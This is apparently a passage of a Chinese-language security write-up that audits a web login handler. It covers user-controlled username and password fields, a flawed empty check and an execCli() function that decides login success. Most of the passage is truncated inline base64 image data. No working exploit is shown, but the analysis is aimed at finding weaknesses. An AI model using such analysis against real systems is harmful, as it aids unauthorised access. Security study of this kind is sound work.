Pf5bXDx7oPHuKtPVn861/+RqAVSlDdezz7vf9HqWUNO1Wf8z3fpay0ZNDjPatmRUREREREREREZHywsubM83rRaKPTOZq1nBdjYFK0nfC2SmpbPW/JCg8j2NlIS3fQaRZ8m1ceaeexO5/lkI/hp5lgI+BMJ52WhZlwA09v+hS7bnmAv7TFEBfWhqOqCePlnOd7voiIiIiIiIiIiFx4Rn2l7FixLOg45aB/51Rj7Nz1r79mVfFv+PWGIjqT5nHdmqtp2/7PFJ7LdTq76BwkNO1sraWitbuQc3C+54uIiIiIiIiIiMiF4aIJZYdiWQ7+9P0fMOGeO/jcg59iYnstJ95/gof+sHvQcNUnpoqD2/ZT3uGn80VEREREREREROSCc9G0LxARERERERERERG5ENj8XYCIiIiIiIiIiIjIpUShrIiIiIiIiIiIiMgYUigrIiIiIiIiIiIiMoYUyoqIiIiIiIiIiIiMIYWyIiIiIiIiIiIiImNIoayIiIiIiIiIiIjIGFIoKyIiIiIiIiIiIjKGFMqKiIiIiIiIiIiIjKEAX08Ivew+QrPux7KU516MjOmiueCXNB/6tb9LERERERERERERuSj5nKyGKZC9qFmWjbCs+/1dhoiIiIiIiIiIyEVL6aqIiIiIiIiIiIjIGApodDp9OmHC4Z/QOePLMGnKKJUkftVey4S//wdJySn+rkREREREREREROSiZGXNmWe8HexrgCuepsTGUVtd5e8y/CI090oWZjdy8L/yqbIsf5cjIiIiIiIiIiJnkZScQllpib/LuCipfYGMOhOdTmZ2KM0HjiqQFRERERERERGRS16AvwuQi59VV8iu3xb6uwwREREREREREZFxQStlRURERERERERERMaQQlkRERERERERERGRMaRQVkRERERERERERGQMKZQVERERERERERERGUMKZUVERERERERERETGkEJZERERERERERERkTGkUFZERERERERERERkDCmUFRERERERERERERlDCmVFRERERERERERExpBCWREREREREREREZExpFBWREREREREREREZAwplBUREREREREREREZQwplRURERERERERERMaQQlkRERERERERERGRMRTg7wJkfDIGQqYkE2XqKK9rZWJEDLHRYZjmKqqqm+i0rAHnWEERTI6eQrjVSn1dDfUtp7EGGTfgGpyiorYJuscaE0h4fDyh7dVUNrS7jQ8kLD6eKaET6Wyrp7qylo4uq9+cFsHRicREhTChs4WGqnLq28yg1w4MjSY6Joqg041UV1bRMjGGxMk2GiqraHGb15oUzuQpMYQHtOOsqeJUy5lB5jt7bSIiIiIiIiIiIqBQVoZkYc++hvmdu9nWkcEVKUF0mQACJhhay3ey5b3DNPeGqBOZctkyFs+ZSjBn6CSACVYbdYUfsn1fCa0MFU52X8PazsubDtPZezyCGVdcQ2rF27y6u9x1jeAUFly1hOkRE+ns6MCaOAmaC9n+5odUnO6uY1Ii2cuuJC0mCDo76LImMoEmSne+wfYTTb0BsTFBJMxbyaKMWAKNq16r9e/sKAwgL2cS+/6ykWNdrqA1OmMZeXNTCOY0nQQygRaqjmxl1/4y2nrm86I2ERERERERERGRHgplZXj2bDKOvc+b60/S3DWJ6KyVLL98AXOm/Z3txacBmJiSx9K5cTQWvM27h8ppMROJnr6EvPlXsbjtZd493HheJRhjkTR3GdMDy9j9xjZK6juYEJbK3KuWkzO3GMeuMrqYQOK8paRHNVP0wVscrqjjdGA0MxZey7yFi0g+uYmyLtd8wbOuZHFGKDUH3mBnoYN2goibvYKFc2KB2t7rBiYv5sqcGGr3v8H/do+LnrGUvAVXMrf+r+wo6fCqNjPMamEREREREREREbn0qKesDK/973y89yQtXRYWHdR9nM/J9kCip0QBYEwEaVnTCKjM58OPymjtBKurg7qjW9hzoo3oy+ZhZ2D7AN+EEB4eiGmpobK+HWPBmeZi9r61jje7Q0/L6qJ8xyu88cbbHCg7RUeXhWk/xbGiEk5PiKa7XIyZTNrsREz5HrYfctDRZWF1tVNVsIXDdX3hqTHhpM+ZjinZ4TGuruh9CsomkJw2i4nGeFWbiIiIiIiIiIiIO62UleE1Oak30NeBoInmFpg0KcT1csIUIsOh5ugJOtwCSMsyOMoq6Jwxmcnh4DivxbJNOMrryLx8HitXRnK8uASHw0Fdc7tH6GnRQVNTAKHRdiZHRREWGkZ4/FQmMJGJk7oHTZhMRCjUHjrJGY9623E4TkFcz7gYIsMt2k+FkDIrw6OaIDogPJIooNLL2kRERERERERERHoolJXhmS66hnt/UijBti6aO9qgf+/Y1lY6SCIoGDiPUNayLOo/fpPNrXOZPSuFjAVpZNo6aa05Line truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>负责登录处理的函数就是上面这个,其中首先会传进来两个变量"username"和"password",就是账号和密码,是我们可控的变量,同时会首先判断不能让这两个变量是空的,然而其实这么写是有个逻辑问题,光靠判断是否=false实际并不能判断是否为空,哈哈,不过这无关紧要。</p>
|
||||
<p><img src=data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>接下来可以看到有个$res变量,这个变量装载着执行execCli()函数的返回结果。</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>从下面的代码我们可以看出下面的大多是对$res的值进行判断,从而直接给出结果,所以我们大概能猜到这是一个状态码变量,通过它的值来判断登陆成功与否,又因为他是execCli函数的返回结果,因此我们判断execCli会接管登录逻辑判断这一任务</p>
|
||||
<p><img src="data:image/png;base64,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